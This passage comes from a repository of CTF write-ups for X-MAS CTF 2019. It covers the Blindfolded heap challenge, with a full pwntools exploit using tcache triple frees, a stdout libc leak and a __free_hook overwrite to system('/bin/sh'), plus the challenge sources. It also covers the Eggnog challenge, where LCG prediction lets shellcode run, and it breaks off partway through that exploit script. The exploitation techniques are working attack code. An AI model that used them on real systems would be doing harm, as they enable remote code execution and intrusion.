229 | 230 | Still leaves the main problem of forcing a chunk into a regular bin.\ 231 | The easiest way is to free a chunk of more than *0x410* bytes since Tcaches won't cover them, however as we can't allocate anything that large it doesn't work. 232 | (I lied to you earlier that this was the point where I found the size limitation)\ 233 | Luckily there is another way.\ 234 | Tcache-bins are capped at **7** free chunks. If we free more than that all further freed chunks go either into the corresponding *fastbin* or the *unsorted bin*. 235 | Leaving us with our much desired fwd-pointer. 236 | 237 | With all of that said we can now finally go over the [exploit](Blindfolded/Blindfold_ex.py).\ 238 | You can skip the first block if you want, since it is mainly pwntools setup code and some helper functions defined by me. 239 | 240 | ``` python 241 | #!/usr/bin/env python2 242 | # -*- coding: utf-8 -*- 243 | # This exploit template was generated via: 244 | # $ pwn template --host challs.xmas.htsp.ro --port 12004 a.out 245 | from pwn import * 246 | 247 | # Set up pwntools for the correct architecture 248 | exe = context.binary = ELF('a.out') 249 | libc = ELF("libc-2.27.so") 250 | # Many built-in settings can be controlled on the command-line and show up 251 | # in "args". For example, to dump all data sent/received, and disable ASLR 252 | # for all created processes... 253 | # ./exploit.py DEBUG NOASLR 254 | # ./exploit.py GDB HOST=example.com PORT=4141 255 | host = args.HOST or 'challs.xmas.htsp.ro' 256 | port = int(args.PORT or 12004) 257 | 258 | def local(argv=[], *a, **kw): 259 | '''Execute the target binary locally''' 260 | if args.GDB: 261 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 262 | else: 263 | return process([exe.path] + argv, *a, **kw) 264 | 265 | def remote(argv=[], *a, **kw): 266 | '''Connect to the process on the remote host''' 267 | io = connect(host, port) 268 | if args.GDB: 269 | gdb.attach(io, gdbscript=gdbscript) 270 | return io 271 | 272 | def start(argv=[], *a, **kw): 273 | '''Start the exploit against the target.''' 274 | if args.LOCAL: 275 | return local(argv, *a, **kw) 276 | else: 277 | return remote(argv, *a, **kw) 278 | 279 | # Specify your GDB script here for debugging 280 | # GDB will be launched if the exploit is run via e.g. 281 | # ./exploit.py GDB 282 | gdbscript = ''' 283 | #break *0x{exe.symbols.main:x} 284 | continue 285 | '''.format(**locals()) 286 | 287 | #=========================================================== 288 | # EXPLOIT GOES HERE 289 | #=========================================================== 290 | # Arch: amd64-64-little 291 | # RELRO: Full RELRO 292 | # Stack: Canary found 293 | # NX: NX enabled 294 | # PIE: PIE enabled 295 | 296 | 297 | # Helper functions 298 | def do_malloc(idx, sz, text, wait=True): 299 | io.sendline("1") 300 | io.readuntil("idx: ") 301 | io.sendline(str(idx)) 302 | io.readuntil("sz: ") 303 | io.sendline(str(sz)) 304 | io.readuntil("data: ") 305 | io.send(text) 306 | 307 | if wait: 308 | return wait_for_menu() 309 | 310 | 311 | def do_free(idx, wait=True): 312 | io.sendline("2") 313 | io.readuntil("idx: ") 314 | io.sendline(str(idx)) 315 | 316 | if wait: 317 | wait_for_menu() 318 | 319 | 320 | def realloc(idx, sz, text, wait=True): 321 | io.sendline("3") 322 | io.readuntil("idx: ") 323 | io.sendline(str(idx)) 324 | io.readuntil("sz: ") 325 | io.sendline(str(sz)) 326 | io.readuntil("data: ") 327 | io.send(text) 328 | 329 | if wait: 330 | return wait_for_menu() 331 | 332 | def wait_for_menu(): 333 | return io.readuntil("\n> ") 334 | 335 | 336 | 337 | GDB_OPT = args.GDB 338 | args.GDB = False 339 | ``` 340 | 341 | Were looping here since as I've explained above this only has a 1 in 16 chance of success. 342 | 343 | ``` python 344 | while True: 345 | try: 346 | io = start() 347 | 348 | # Crafting & Overwriting libc-pointer 349 | 350 | do_malloc(0, 0x60, "a") # soon to be corrupted chunk 351 | do_malloc(8, 0x100, "a") # "large chunk" 352 | do_malloc(9, 0x20, "Blocker\n") # preventing top-chunk consolidation 353 | 354 | for i in range(8): 355 | do_free(8) # filling the Tcache 0x110 freelist and putting it into unsorted 356 | # thus getting a libc pointer 357 | io.info("Chunk in unsorted") 358 | 359 | do_free(0) # Triple free 360 | do_free(0) 361 | do_free(0) 362 | 363 | do_malloc(0, 0x60, "\xd0") # Target address (address of the unsorted bin chunk) 364 | do_malloc(1, 0x60, "Hallo") # Popping chunk from freelist 365 | do_malloc(2, 0x60, "\x60\x57") # overwriting the 2 least significant bytes of the libc address 366 | 367 | 368 | # Now allocating a fake chunk at target address 369 | 370 | do_free(1) # Same as above 371 | do_free(1) 372 | do_free(1) 373 | 374 | do_malloc(1, 0x60, "\xd0") # LSB OF unsorted bin chunk 375 | do_malloc(3, 0x60, "Hallo2") # BURN 376 | do_malloc(4, 0x60, "\x60\x57") # BURN AGAIN 377 | 378 | 379 | # At this point our crafted address is the next chunk to be returned by malloc 380 | 381 | payload = p64(0x0fbad1800) 382 | payload += '\0' * 0x18 383 | payload += '\0' 384 | 385 | leak = do_malloc(5, 0x60, payload) # overwriting stdio with junk 386 | if len(leak) > 200: 387 | break 388 | io.close() 389 | except: 390 | io.close() 391 | pass 392 | 393 | if GDB_OPT: 394 | gdb.attach(io) 395 | 396 | 397 | # At this point we've leaked the address of libc 398 | io.info(" ========== LEAK ==========\n" + leak) 399 | io.info("(Hex : " + leak.encode("hex") + ")") 400 | 401 | libc_base = u64(leak[8:16]) - 0x3ed8b0 402 | io.info(hex(libc_base)) 403 | ``` 404 | Now the part that I've thoroughly explained is over. 405 | But now hijacking the control-flow is straightforward. 406 | 407 | On every invocation of free it internally calls the *\__free_hook* with the chunk as its first argument. With our arbitrary allocations we force malloc to return us a chunk there and overwrite it with either a gadget or with the address of system and the program we want to execute ("/bin/sh") as its argument (the chunk we free). 408 | 409 | ``` python 410 | # now we'll overwrite the free_hook with system 411 | 412 | io.info("Calculating offsets:") 413 | libc.address = libc_base 414 | free_hook_addr = libc.sym.__free_hook 415 | io.info("__free_hook @ " + hex(free_hook_addr)) 416 | 417 | do_free(9) # I guess you've seen this before 418 | do_free(9) 419 | do_free(9) 420 | 421 | do_malloc(9, 0x20, p64(free_hook_addr)) # Now with full addresses 422 | do_malloc(6, 0x20, "/bin/sh\n\0") # argument to be called by system 423 | do_malloc(7, 0x20, p64(libc.sym.system)) # free_hook points now to system 424 | 425 | do_free(6, wait=False) # invoking it with /bin/sh 426 | 427 | # we should have a shell after here 428 | io.interactive() 429 | ``` 430 | 431 | At this point we've got a shell and can just cat the flag. 432 | 433 | **X-MAS{1_c4n'7_533_my_h34p_w17h0u7_y0000u}** 434 | 435 | I also got the [original](Blindfolded/private/real_src.c) source code from there if you want to compare it to [mine](Blindfolded/challenge_guessed.c). 436 | 437 | All in all a really cool challenge that once again shows that "heap binaries are useless". 438 | Lastly for debugging stuff like this exploit I can't recommend gef's heap functions enough, especially "heap bins", since they are an immense help when debugging exploits like this. 439 | 440 | -- MMunier 441 | 442 | 443 | 444 | 445 | -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/Blindfold_ex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host challs.xmas.htsp.ro --port 12004 a.out 5 | from pwn import * 6 | 7 | # Set up pwntools for the correct architecture 8 | exe = context.binary = ELF('a.out') 9 | libc = ELF("libc-2.27.so") 10 | # Many built-in settings can be controlled on the command-line and show up 11 | # in "args". For example, to dump all data sent/received, and disable ASLR 12 | # for all created processes... 13 | # ./exploit.py DEBUG NOASLR 14 | # ./exploit.py GDB HOST=example.com PORT=4141 15 | host = args.HOST or 'challs.xmas.htsp.ro' 16 | port = int(args.PORT or 12004) 17 | 18 | def local(argv=[], *a, **kw): 19 | '''Execute the target binary locally''' 20 | if args.GDB: 21 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 22 | else: 23 | return process([exe.path] + argv, *a, **kw) 24 | 25 | def remote(argv=[], *a, **kw): 26 | '''Connect to the process on the remote host''' 27 | io = connect(host, port) 28 | if args.GDB: 29 | gdb.attach(io, gdbscript=gdbscript) 30 | return io 31 | 32 | def start(argv=[], *a, **kw): 33 | '''Start the exploit against the target.''' 34 | if args.LOCAL: 35 | return local(argv, *a, **kw) 36 | else: 37 | return remote(argv, *a, **kw) 38 | 39 | # Specify your GDB script here for debugging 40 | # GDB will be launched if the exploit is run via e.g. 41 | # ./exploit.py GDB 42 | gdbscript = ''' 43 | #break *0x{exe.symbols.main:x} 44 | continue 45 | '''.format(**locals()) 46 | 47 | #=========================================================== 48 | # EXPLOIT GOES HERE 49 | #=========================================================== 50 | # Arch: amd64-64-little 51 | # RELRO: Full RELRO 52 | # Stack: Canary found 53 | # NX: NX enabled 54 | # PIE: PIE enabled 55 | 56 | 57 | # Helper functions 58 | 59 | def do_malloc(idx, sz, text, wait=True): 60 | io.sendline("1") 61 | io.readuntil("idx: ") 62 | io.sendline(str(idx)) 63 | io.readuntil("sz: ") 64 | io.sendline(str(sz)) 65 | io.readuntil("data: ") 66 | io.send(text) 67 | 68 | if wait: 69 | return wait_for_menu() 70 | 71 | 72 | def do_free(idx, wait=True): 73 | io.sendline("2") 74 | io.readuntil("idx: ") 75 | io.sendline(str(idx)) 76 | 77 | if wait: 78 | wait_for_menu() 79 | 80 | 81 | def realloc(idx, sz, text, wait=True): 82 | io.sendline("3") 83 | io.readuntil("idx: ") 84 | io.sendline(str(idx)) 85 | io.readuntil("sz: ") 86 | io.sendline(str(sz)) 87 | io.readuntil("data: ") 88 | io.send(text) 89 | 90 | if wait: 91 | return wait_for_menu() 92 | 93 | def wait_for_menu(): 94 | return io.readuntil("\n> ") 95 | 96 | 97 | 98 | GDB_OPT = args.GDB 99 | args.GDB = False 100 | 101 | while True: 102 | try: 103 | io = start() 104 | 105 | # Crafting & Overwriting libc-pointer 106 | 107 | do_malloc(0, 0x60, "a") # soon to be corrupted chunk 108 | do_malloc(8, 0x100, "a") # "large chunk" 109 | do_malloc(9, 0x20, "Blocker\n") # preventing top-chunk consolidation 110 | 111 | for i in range(8): 112 | do_free(8) # filling the Tcache 0x110 freelist and putting it into unsorted 113 | # thus getting a libc pointer 114 | io.info("Chunk in unsorted") 115 | 116 | do_free(0) # Triple free 117 | do_free(0) 118 | do_free(0) 119 | 120 | do_malloc(0, 0x60, "\xd0") # Target address (address of the unsorted bin chunk) 121 | do_malloc(1, 0x60, "Hallo") # Popping chunk from freelist 122 | do_malloc(2, 0x60, "\x60\x57") # overwriting the 2 least significant bytes of the libc address 123 | 124 | 125 | # Now allocating a fake chunk at target address 126 | 127 | do_free(1) # Same as above 128 | do_free(1) 129 | do_free(1) 130 | 131 | do_malloc(1, 0x60, "\xd0") # LSB OF unsorted bin chunk 132 | do_malloc(3, 0x60, "Hallo2") # BURN 133 | do_malloc(4, 0x60, "\x60\x57") # BURN AGAIN 134 | 135 | 136 | # At this point our crafted address is the next chunk to be returned by malloc 137 | 138 | payload = p64(0x0fbad1800) 139 | payload += '\0' * 0x18 140 | payload += '\0' 141 | 142 | leak = do_malloc(5, 0x60, payload) # overwriting stdio with junk 143 | if len(leak) > 200: 144 | break 145 | io.close() 146 | except: 147 | io.close() 148 | pass 149 | 150 | if GDB_OPT: 151 | gdb.attach(io) 152 | 153 | 154 | # At this point we've leaked the address of libc 155 | io.info(" ========== LEAK ==========\n" + leak) 156 | io.info("(Hex : " + leak.encode("hex") + ")") 157 | 158 | libc_base = u64(leak[8:16]) - 0x3ed8b0 159 | io.info(hex(libc_base)) 160 | 161 | # now we'll overwrite the free_hook with system 162 | 163 | io.info("Calculating offsets:") 164 | libc.address = libc_base 165 | free_hook_addr = libc.sym.__free_hook 166 | io.info("__free_hook @ " + hex(free_hook_addr)) 167 | 168 | do_free(9) # I guess you've seen this before 169 | do_free(9) 170 | do_free(9) 171 | 172 | do_malloc(9, 0x20, p64(free_hook_addr)) # Now with full addresses 173 | do_malloc(6, 0x20, "/bin/sh\n\0") # argument to be called by system 174 | do_malloc(7, 0x20, p64(libc.sym.system)) # free_hook points now to system 175 | 176 | do_free(6, wait=False) # invoking it with /bin/sh 177 | 178 | # we should have a shell after here 179 | io.interactive() 180 | 181 | -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/Blindfolded-Banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Blindfolded/Blindfolded-Banner.png -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/Blindfolded-Desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Blindfolded/Blindfolded-Desc.png -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/Blindfolded-free.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Blindfolded/Blindfolded-free.png -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/Blindfolded-malloc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Blindfolded/Blindfolded-malloc.png -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/challenge_guessed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char banner[] = "Are you ready for another heap challenge?"; 6 | char menu[] = "Space %d/10\n1. New\n2. Delete\n3. Exit\n1337. Realloc\n> "; 7 | char input_buf[100]; 8 | int space = 0; 9 | 10 | char* arr[10]; 11 | 12 | int do_malloc(){ 13 | int idx, sz; 14 | printf("idx: "); 15 | scanf("%d", &idx); 16 | getchar(); 17 | printf("sz: "); 18 | scanf("%d", &sz); 19 | getchar(); 20 | 21 | 22 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 23 | arr[idx] = (char *) malloc(sz); 24 | printf("data: "); 25 | read(0, arr[idx], sz); 26 | space++; 27 | puts("Created"); 28 | 29 | } 30 | else 31 | { 32 | 33 | puts("Fuck you!"); 34 | } 35 | 36 | } 37 | 38 | int do_free(){ 39 | int idx, sz; 40 | printf("idx: "); 41 | scanf("%d", &idx); 42 | getchar(); 43 | 44 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 45 | free(arr[idx]); 46 | space--; 47 | puts("Deleted"); 48 | 49 | } 50 | else 51 | { 52 | puts("Fuck you!"); 53 | } 54 | 55 | } 56 | 57 | int do_realloc(){ 58 | int idx, sz; 59 | printf("idx: "); 60 | scanf("%d", &idx); 61 | getchar(); 62 | printf("sz: "); 63 | scanf("%d", &sz); 64 | getchar(); 65 | 66 | if ((space < 10) & (idx < 10) & (idx >= 0)){ 67 | arr[idx] = realloc(arr[idx], sz); 68 | printf("data: "); 69 | read(0, arr[idx], sz); 70 | space++; 71 | puts("Created"); 72 | 73 | } 74 | else 75 | { 76 | 77 | puts("Fuck you!"); 78 | } 79 | } 80 | 81 | int main(){ 82 | int choice; 83 | setvbuf(stdin, NULL, _IONBF, 1); 84 | setvbuf(stdout, NULL, _IONBF, 1); 85 | puts(banner); 86 | 87 | while (1) { 88 | printf(menu, space); 89 | scanf("%d", &choice); 90 | getchar(); 91 | 92 | switch (choice) 93 | { 94 | case 1: 95 | do_malloc(); 96 | break; 97 | 98 | case 2: 99 | do_free(); 100 | break; 101 | 102 | case 3: 103 | exit(0); 104 | break; 105 | 106 | case 1337: 107 | do_realloc(); 108 | break; 109 | 110 | default: 111 | break; 112 | } 113 | } 114 | } -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/private/real_src.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define MAX_CHUNKS 10 7 | int count = 0; 8 | struct chunk { 9 | unsigned int size; 10 | unsigned char *ptr; 11 | }; 12 | struct chunk chunks[MAX_CHUNKS]; 13 | 14 | void menu() { 15 | printf("Space %d/%d\n", count, MAX_CHUNKS); 16 | printf("1. New\n"); 17 | printf("2. Delete\n"); 18 | printf("3. Exit\n"); 19 | printf("1337. Realloc\n"); 20 | } 21 | 22 | void create() { 23 | if (count >= MAX_CHUNKS) { 24 | printf("Full\n"); 25 | return ; 26 | } 27 | 28 | unsigned int idx, sz; 29 | printf("idx: "); 30 | scanf("%u", &idx); 31 | printf("sz: "); 32 | scanf("%u", &sz); 33 | 34 | if (idx >= MAX_CHUNKS) { 35 | printf("Out of bounds\n"); 36 | return ; 37 | } 38 | 39 | if (sz >= 0x200) { 40 | printf("Too big\n"); 41 | return ; 42 | } 43 | 44 | if (chunks[idx].size != 0) { 45 | printf("Slot is not empty\n"); 46 | return ; 47 | } 48 | 49 | count++; 50 | chunks[idx].size = sz; 51 | chunks[idx].ptr = malloc(sz); 52 | printf("data: "); 53 | read(0, chunks[idx].ptr, chunks[idx].size); 54 | printf("Created\n"); 55 | } 56 | 57 | void delete() { 58 | printf("idx: "); 59 | unsigned int idx; 60 | scanf("%u", &idx); 61 | 62 | 63 | if (idx >= MAX_CHUNKS) { 64 | printf("Out of bounds\n"); 65 | return ; 66 | } 67 | 68 | count--; 69 | chunks[idx].size = 0; 70 | free(chunks[idx].ptr); 71 | printf("Deleted\n"); 72 | } 73 | 74 | int used = 0; 75 | void forbidden() { 76 | if (used) { 77 | printf("No, no, no. I told you that's forbidden and I already made an exception once.\n"); 78 | return ; 79 | } 80 | 81 | used = 1; 82 | printf("Ummmm... But that's forbidden... I could let you... I have a bad feeling about this...\n"); 83 | printf("I'll give you only one chance... But first, let me clean the stack a little bit... Done!\n"); 84 | //printf("With this, the exploit should be straightforward.\n"); 85 | //printf("Running: memset(alloca(0x100), 0, 0x100)\n\n"); 86 | char *buf = alloca(0x100); 87 | memset(buf, 0, 0x100); 88 | 89 | unsigned int idx, sz; 90 | printf("idx: "); 91 | scanf("%u", &idx); 92 | printf("sz: "); 93 | scanf("%u", &sz); 94 | 95 | if (idx >= MAX_CHUNKS) { 96 | printf("Out of bounds\n"); 97 | return ; 98 | } 99 | 100 | if (sz >= 0x200) { 101 | printf("Too big\n"); 102 | return ; 103 | } 104 | 105 | chunks[idx].size = sz; 106 | chunks[idx].ptr = realloc(chunks[idx].ptr, sz); 107 | printf("data: "); 108 | read(0, chunks[idx].ptr, chunks[idx].size); 109 | printf("Reallocated\n"); 110 | } 111 | 112 | int main() { 113 | setvbuf(stdin, NULL, _IONBF, 0); 114 | setvbuf(stdout, NULL, _IONBF, 0); 115 | 116 | printf("Are you ready for another heap challenge?\n"); 117 | while (1) { 118 | menu(); 119 | printf("> "); 120 | int choice; 121 | scanf("%d", &choice); 122 | 123 | if (choice == 1) { 124 | create(); 125 | } else if (choice == 2) { 126 | delete(); 127 | } else if (choice == 3) { 128 | break; 129 | } else if (choice == 1337) { 130 | forbidden(); 131 | } 132 | } 133 | 134 | return 0; 135 | } 136 | 137 | -------------------------------------------------------------------------------- /X-MASctf2019/Blindfolded/public/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | # [REDACTED] 4 | -------------------------------------------------------------------------------- /X-MASctf2019/Eggnog-interaction.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Eggnog-interaction.png -------------------------------------------------------------------------------- /X-MASctf2019/Eggnog.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2019 - Eggnog (pwn) 2 | 3 | *21 December 2019 by MMunier* 4 | 5 | ![Challenge Description](Eggnog.png) 6 | [chall](eggnog) 7 | 8 | ## General Overview 9 | Eggnog was a pwn challenge in this (2019's) X-Mas CTF. 10 | This CTF i managed to solve quite a few of their pwn chals so further writeups *may* come. 11 | 12 | Eggnog itself was a small challenge that asked a user to provide some eggs for it. 13 | 14 | ![Challenge Description](Eggnog-interaction.png) 15 | 16 | As the text pretty clearly states it filters ones input with a "linear congruent generator" (LCG) in the background. 17 | Those are notorious for being easily predictable as "linear" in the name should give away so it was an immediate red flag. 18 | (Nevertheless searching for "password generator in c" on google is pretty sad considering the rand() function is also a LCG.) 19 | 20 | If one would decide to cook the recipe shown in the image the connection would immediately hang indicating that it either jumps to the filtered input as *shellcode* or *ROPping* with it. 21 | 22 | Upon playing a few rounds with the service, I went and reversed how exactly the LCG was implemented. 23 | 24 | ## Reversing 25 | 26 | The provided binary was fairly small, not stripped and quick to fully understand. As usual I decided to just throw it into Ghidra. 27 | 28 | In general a LCG genrates numbers by calculating 29 | `state_{n+1} = m * state_n + c % N` 30 | and then deriving its output based upon the current state. 31 | 32 | ``` c 33 | long next_lcg(void) 34 | 35 | { 36 | lcg_state = (c + lcg_state * m) % n; 37 | return lcg_state; 38 | } 39 | ``` 40 | 41 | 42 | Looking upon how it was initialized we can see that all parameters of the LCG are generated by a secure source so they can't be predicted by us. 43 | 44 | ``` c 45 | void init_lcg(void) 46 | 47 | { 48 | FILE *__stream; 49 | 50 | __stream = fopen("/dev/urandom","rb"); 51 | fread(&lcg_state,1,4,__stream); 52 | fread(&n,1,4,__stream); 53 | fread(&m,1,4,__stream); 54 | fread(&c,1,4,__stream); 55 | m = m % n; 56 | c = c % n; 57 | fclose(__stream); 58 | return; 59 | } 60 | ``` 61 | 62 | So we focus our attention to the heart of the program. 63 | 64 | ``` c 65 | 66 | void loop(void) 67 | 68 | { 69 | bool bVar1; 70 | int iVar2; 71 | size_t sVar3; 72 | int local_28; 73 | int local_24; 74 | int local_20; 75 | int local_18; 76 | int local_14; 77 | bool end; 78 | 79 | end = false; 80 | while (!end) { 81 | puts("What eggs would you want to use for eggnog?"); 82 | fgets(code,0x2f,stdin); 83 | sVar3 = strlen(code); 84 | iVar2 = (int)sVar3 + -1; 85 | if (iVar2 < 0x2d) { 86 | puts("We need more eggs to make good eggnog, kid!"); 87 | } 88 | else { 89 | puts("Linearly and congruently filtering spoiled eggs, stand by"); 90 | printf("Filtered eggs: "); 91 | local_28 = 0x1f; 92 | while (local_28 < 0x2d) { 93 | /* Dump state + params of lcg */ 94 | printf("%lld ",lcg_state); 95 | removal[(long)(local_28 + -0x1f)] = lcg_state % (long)iVar2; 96 | next_lcg(); 97 | local_28 = local_28 + 1; 98 | } 99 | putchar(10); 100 | local_24 = 0; 101 | local_20 = 0; 102 | while (local_20 < iVar2) { 103 | bVar1 = false; 104 | local_18 = 0x1f; 105 | while (local_18 < 0x2d) { 106 | if ((long)local_20 == removal[(long)(local_18 + -0x1f)]) { 107 | bVar1 = true; 108 | } 109 | local_18 = local_18 + 1; 110 | } 111 | if (!bVar1) { 112 | new_code[(long)local_24] = code[(long)local_20]; 113 | local_24 = local_24 + 1; 114 | } 115 | local_20 = local_20 + 1; 116 | } 117 | printf("Eggnog to be cooked: "); 118 | local_14 = 0; 119 | while (local_14 < local_24) { 120 | printf("\\x%hhx",(ulong)(uint)(int)(char)new_code[(long)local_14]); 121 | local_14 = local_14 + 1; 122 | } 123 | putchar(10); 124 | puts("Would you like to cook this eggnog? (y/n)"); 125 | iVar2 = fgetc(stdin); 126 | if ((char)iVar2 == 'y') { 127 | (*(code *)new_code)(); 128 | end = true; 129 | } 130 | else { 131 | fgetc(stdin); 132 | } 133 | } 134 | } 135 | return; 136 | } 137 | ``` 138 | 139 | The integers outputted by "Filtered eggs" are directly the state of the LCG and are used to kick out chars from our shellcode before jumping to it. 140 | 141 | Also important to note that the LCG is **not** reinitialized between attempts when saying no. 142 | This is where the challenge basically shifted to a bit of crypto. 143 | 144 | ## Finding the LCG Parameters 145 | 146 | Just googling for it, it is immediately clear that LCGs are well understood and there are [stackoverflow posts](https://security.stackexchange.com/questions/4268/cracking-a-linear-congruential-generator) for everything. A few of them directed me to this paper: ["How to crack a Linear Congruential Generator"](http://www.reteam.org/papers/e59.pdf) (Now we're once again playing find the crypto-paper ...) 147 | 148 | It states that we can find an integer multiple of the modulus by calculating the determinant of following matrix: 149 | 150 | ``` 151 | | seed_n state_n+1 1 | 152 | | seed_n+1 state_n+2 1 | 153 | | seed_n+2 state_n+3 1 | 154 | ``` 155 | Since we have more than 4 known states we can calculate this multiple times and then take the GCD (greatest common divisor) of the determinants to get the modulus. 156 | 157 | Once we have the modulus N solving for c and m becomes "trivial" (after a bit more stackoverflow). 158 | 159 | ``` 160 | Taking 2 calculations of the next state: 161 | 162 | I: state_n+1 = m * state_n + c mod N 163 | II: state_n+2 = m * state_n+1 + c mod N 164 | 165 | II - I: 166 | state_n+1 - state_n+2 = m * state_n+1 - m * state_n + c - c mod N 167 | 168 | => 169 | state_n - state_n+2 = m * (state_n+1 - state_n) 170 | => 171 | m = state_n - state_n+2 * (state_n+1 - state_n)^-1 172 | ``` 173 | 174 | Taking the multiplicative inverse of something mod N only works when they dont share any factors but that happens often enough to not be an issue further down the line. 175 | 176 | Now calculating c becomes trivial (even for me ^^):\ 177 | `c = state_n+1 - m * state_n mod N` 178 | 179 | With now all parameters known we can now predict the output of the LCG and with that also the filtered chars (output % 0x2d). 180 | 181 | ## Putting it all together 182 | With the filtered chars known for all rounds after the first input we send it $random_stuff for the first round since we are only interested at the dumped states anyways.\ 183 | So we decline the first cooking and prepare our shellcode by predicting the next few outputs and add padding bytes in those places into the shellcode. 184 | 185 | Those being filtered out we decide to cook our second course 186 | and get rewarded with a shell and the flag to accompany it:\ 187 | *X-MAS{D1nkl3b3rg_w4tch_0ut_f0r_N0g_M4n}* 188 | 189 | If you want my messy exploit code click [here](Eggnog_ex.py) (but tbh I can't recommend it). 190 | 191 | All in all nice and easy pwn/crypto challenge. 192 | 193 | -- MMunier 194 | -------------------------------------------------------------------------------- /X-MASctf2019/Eggnog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ENOFLAG/writeups/264cdb7e18a02cea8eb8879d018e6d316a50c915/X-MASctf2019/Eggnog.png -------------------------------------------------------------------------------- /X-MASctf2019/Eggnog_ex.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | # This exploit template was generated via: 4 | # $ pwn template --host challs.xmas.htsp.ro --port 12010 eggnog 5 | from pwn import * 6 | import numpy as np 7 | from Crypto.Util.number import GCD, inverse 8 | 9 | # Set up pwntools for the correct architecture 10 | exe = context.binary = ELF('eggnog') 11 | 12 | # Many built-in settings can be controlled on the command-line and show up 13 | # in "args". For example, to dump all data sent/received, and disable ASLR 14 | # for all created processes... 15 | # ./exploit.py DEBUG NOASLR 16 | # ./exploit.py GDB HOST=example.com PORT=4141 17 | host = args.HOST or 'challs.xmas.htsp.ro' 18 | port = int(args.PORT or 12010) 19 | 20 | def local(argv=[], *a, **kw): 21 | '''Execute the target binary locally''' 22 | if args.GDB: 23 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 24 | else: 25 | return process([exe.path] + argv, *a, **kw) 26 | 27 | def remote(argv=[], *a, **kw): 28 | '''Connect to the process on the remote host''' 29 | io = connect(host, port) 30 | if args.GDB: 31 | gdb.attach(io, gdbscript=gdbscript) 32 | return io 33 | 34 | def start(argv=[], *a, **kw): 35 | '''Start the exploit against the target.''' 36 | if args.LOCAL: 37 | return local(argv, *a, **kw) 38 | else: 39 | return remote(argv, *a, **kw) 40 | 41 | # Specify your GDB script here for debugging 42 | # GDB will be launched if the exploit is run via e.g. 43 | # ./exploit.py GDB 44 | gdbscript = ''' 45 | #break *0x{exe.symbols.main:x} 46 | continue 47 | '''.format(**locals()) 48 | 49 | #=========================================================== 50 | # EXPLOIT GOES HERE 51 | #=========================================================== 52 | # Arch: amd64-64-little 53 | # RELRO: Full RELRO 54 | # Stack: No canary found 55 | # NX: NX disabled 56 | # PIE: PIE enabled 57 | # RWX: Has RWX segments 58 | 59 | def zeros_matrix(rows, cols): 60 | """ 61 | Creates a matrix filled with zeros. 62 | :param rows: the number of rows the matrix should have 63 | :param cols: the number of columns the matrix should have 64 | 65 | :return: list of lists that form the matrix 66 | """ 67 | M = [] 68 | while len(M) < rows: 69 | M.append([]) 70 | while len(M[-1]) < cols: 71 | M[-1].append(0.0) 72 | 73 | return M 74 | 75 | def copy_matrix(M): 76 | """ 77 | Creates and returns a copy of a matrix. 78 | :param M: The matrix to be copied 79 | 80 | :return: A copy of the given matrix 81 | """ 82 | # Section 1: Get matrix dimensions 83 | rows = len(M) 84 | cols = len(M[0]) 85 | 86 | # Section 2: Create a new matrix of zeros 87 | MC = zeros_matrix(rows, cols) 88 | 89 | # Section 3: Copy values of M into the copy 90 | for i in range(rows): 91 | for j in range(cols): 92 | MC[i][j] = M[i][j] 93 | 94 | return MC 95 | 96 | def determinant_recursive(A, total=0): 97 | # Section 1: store indices in list for row referencing 98 | indices = list(range(len(A))) 99 | 100 | # Section 2: when at 2x2 submatrices recursive calls end 101 | if len(A) == 2 and len(A[0]) == 2: 102 | val = A[0][0] * A[1][1] - A[1][0] * A[0][1] 103 | return val 104 | 105 | # Section 3: define submatrix for focus column and 106 | # call this function 107 | for fc in indices: # A) for each focus column, ... 108 | # find the submatrix ... 109 | As = copy_matrix(A) # B) make a copy, and ... 110 | As = As[1:] # ... C) remove the first row 111 | height = len(As) # D) 112 | 113 | for i in range(height): 114 | # E) for each remaining row of submatrix ... 115 | # remove the focus column elements 116 | As[i] = As[i][0:fc] + As[i][fc+1:] 117 | 118 | sign = (-1) ** (fc % 2) # F) 119 | # G) pass submatrix recursively 120 | sub_det = determinant_recursive(As) 121 | # H) total all returns from recursion 122 | total += sign * A[0][fc] * sub_det 123 | 124 | return total 125 | 126 | def get_modulus(vals): 127 | def get_det(a,b,c,d): 128 | mat = [[long(a),long(b),1],[long(b),long(c),1],[long(c),long(d),1]] 129 | return determinant_recursive(mat) 130 | 131 | modulus = get_det(*vals[0:4]) 132 | #io.info(str(modulus) + " " + hex(modulus)) 133 | 134 | for i in range(1, len(vals)-4): 135 | #io.info("Next det:" + 